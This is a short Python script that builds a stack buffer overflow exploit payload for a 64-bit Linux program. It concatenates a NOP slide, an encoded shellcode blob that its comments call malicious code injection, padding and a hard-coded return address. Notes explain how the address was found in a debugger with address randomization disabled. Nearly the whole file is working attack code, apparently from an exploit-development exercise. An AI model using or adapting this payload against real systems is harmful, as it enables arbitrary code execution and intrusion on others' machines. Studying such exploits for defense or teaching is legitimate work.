#!/usr/bin/python
# Payload generator

## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
#0x7fffffffddc0
#0x7fffffffe120

#current 0x7fffffffdf80:	0xffffdfa0
#0x7fffffffdde0
#return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
#IT must be noted that return address is $rsp


#00007fffffffde30 
#THis is the contents of the register r9 ,where teh shell code is placed ,its verified with edebugger.THis methos is importent for cases when we dont have access over source code of the application ,and its built on assumption that teh address of register r9 willnot change over consective runs as address randomization is disabled.If the address changes ,then ideally we should look for an instruction that says jmp r9
return_address =  '\x30\xde\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length

## Malicious code injection
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xfa\x6e\x99\x49\xdc\x75\xa8"
buf += "\x43\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x90\x47\xc1\xd0\xb6\x77\xf7\x29\xfb\x30\x96\x4c\x94"
buf += "\xe2\xe0\xfa\xf8\x6e\x88\x15\xa3\x75\xa8\x42\xab\x26"
buf += "\x10\xaf\xb6\x65\xf2\x29\xd0\x36\x96\x4c\xb6\x76\xf6"
buf += "\x0b\x05\xa0\xf3\x68\x84\x7a\xad\x36\x0c\x04\xa2\x11"
buf += "\x45\x3d\x13\x6c\x98\x07\xf7\x66\xaf\x1d\xa8\x10\xb2"
buf += "\xe7\x7e\x1b\x8b\x3d\x21\xa5\xf5\x6b\x99\x49\xdc\x75"
buf += "\xa8\x43"

## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
#perfect
print nop_slide + buf +  padding + return_address
